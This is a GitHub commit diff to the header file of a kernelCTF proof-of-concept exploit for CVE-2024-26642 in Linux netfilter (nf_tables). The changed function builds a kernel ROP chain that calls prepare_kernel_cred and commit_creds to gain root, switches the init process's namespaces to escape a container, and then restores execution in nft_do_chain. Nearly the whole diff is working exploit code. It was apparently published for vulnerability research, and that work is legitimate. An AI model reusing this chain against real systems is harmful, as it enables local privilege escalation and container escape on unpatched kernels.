Skip to content

Commit ebed68c

Browse files
committed
Solve comments
1 parent de67316 commit ebed68c

File tree

2 files changed

+21
-21
lines changed
  • pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55

2 files changed

+21
-21
lines changed

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/poc.h

+21-21
Original file line numberDiff line numberDiff line change
@@ -219,30 +219,30 @@ void setup_rop_chain(struct payload* payload, int64_t kernel_off) {
219219
int i = 0x20 / 8;
220220

221221
// had some issue with object boundaries. Lets get some more stack space ..
222-
rop_chain[i++] = add_rsp_0x88;//kernel_off + ADD_RSP_0X88_RET;
222+
rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET;
223223
i += 0x88 / 8;
224-
rop_chain[i++] = add_rsp_0x88;//kernel_off + ADD_RSP_0X88_RET;
224+
rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET;
225225
i += 0x88 / 8;
226-
rop_chain[i++] = add_rsp_0x88;//kernel_off + ADD_RSP_0X88_RET;
226+
rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET;
227227
i += 0x88 / 8;
228-
rop_chain[i++] = add_rsp_0x88;//kernel_off + ADD_RSP_0X88_RET;
228+
rop_chain[i++] = kernel_off + ADD_RSP_0X88_RET;
229229
i += 0x88 / 8;
230230

231-
rop_chain[i++] = pop_rdi;//kernel_off + POP_RDI_RET;
232-
rop_chain[i++] = init_task;//kernel_off + INIT_TASK;
233-
rop_chain[i++] = prepare_kernel_cred;//kernel_off + PREPARE_KERNEL_CRED;
231+
rop_chain[i++] = kernel_off + POP_RDI_RET;
232+
rop_chain[i++] = kernel_off + INIT_TASK;
233+
rop_chain[i++] = kernel_off + PREPARE_KERNEL_CRED;
234234

235-
rop_chain[i++] = mov_rdi_rax;//kernel_off + MOV_RDI_RAX_RET;
236-
rop_chain[i++] = commit_creds;//kernel_off + COMMIT_CREDS;
235+
rop_chain[i++] = kernel_off + MOV_RDI_RAX_RET;
236+
rop_chain[i++] = kernel_off + COMMIT_CREDS;
237237

238-
rop_chain[i++] = pop_rdi;//kernel_off + POP_RDI_RET;
238+
rop_chain[i++] = kernel_off + POP_RDI_RET;
239239
rop_chain[i++] = 1;
240-
rop_chain[i++] = find_task_by_vpid;//kernel_off + FIND_TASK_BY_VPID;
240+
rop_chain[i++] = kernel_off + FIND_TASK_BY_VPID;
241241

242-
rop_chain[i++] = mov_rdi_rax;//kernel_off + MOV_RDI_RAX_RET;
243-
rop_chain[i++] = pop_rsi;//kernel_off + POP_RSI_RET;
244-
rop_chain[i++] = init_nsproxy;//kernel_off + INIT_NSPROXY;
245-
rop_chain[i++] = switch_task_namespaces;//kernel_off + SWITCH_TASK_NAMESPACES;
242+
rop_chain[i++] = kernel_off + MOV_RDI_RAX_RET;
243+
rop_chain[i++] = kernel_off + POP_RSI_RET;
244+
rop_chain[i++] = kernel_off + INIT_NSPROXY;
245+
rop_chain[i++] = kernel_off + SWITCH_TASK_NAMESPACES;
246246

247247
// prepare to restore execution
248248
// nft_do_chain:
@@ -251,25 +251,25 @@ void setup_rop_chain(struct payload* payload, int64_t kernel_off) {
251251
// lea r12, [rsp+0x48]
252252
// exit:
253253
// ffffffff81e517eb: 89 d0 mov %edx,%eax
254-
rop_chain[i++] = pop_rbp;//kernel_off + POP_RBP_RET;
254+
rop_chain[i++] = kernel_off + POP_RBP_RET;
255255
rop_chain[i++] = 0x220 - 0x48;
256-
rop_chain[i++] = lea_rax_r12_plus_rbp_pop5;//kernel_off + LEA_RAX_R12_PLUS_RBP_POP5_RET;
256+
rop_chain[i++] = kernel_off + LEA_RAX_R12_PLUS_RBP_POP5_RET;
257257
i += 5;
258258

259259
// prepare the stack restore gadget
260-
rop_chain[i++] = pop_rcx;//kernel_off + POP_RCX_RET;
260+
rop_chain[i++] = kernel_off + POP_RCX_RET;
261261
rop_chain[i++] = PAYLOAD_LOCATION(HELPER_CPU) + offsetof(struct cpu_entry_area_payload, pop_rsp_jmp_rsi_0xf);
262262

263263
// prepare the return jmp gadget
264-
rop_chain[i++] = pop_rsi;//kernel_off + POP_RSI_RET;
264+
rop_chain[i++] = kernel_off + POP_RSI_RET;
265265
rop_chain[i++] = PAYLOAD_LOCATION(HELPER_CPU) + offsetof(struct cpu_entry_area_payload, nft_do_chain_leave) - 0xf;
266266

267267
// setup the return vaule
268-
rop_chain[i++] = pop_rdx;//kernel_off + POP_RDX_RET;
268+
rop_chain[i++] = kernel_off + POP_RDX_RET;
269269
rop_chain[i++] = NF_DROP;
270270

271271
// actually restore execution
272-
rop_chain[i++] = push_rax_jmp_rcx;//kernel_off + PUSH_RAX_JMP_RCX;
272+
rop_chain[i++] = kernel_off + PUSH_RAX_JMP_RCX;
273273
}
274274

275275

0 commit comments

Comments
 (0)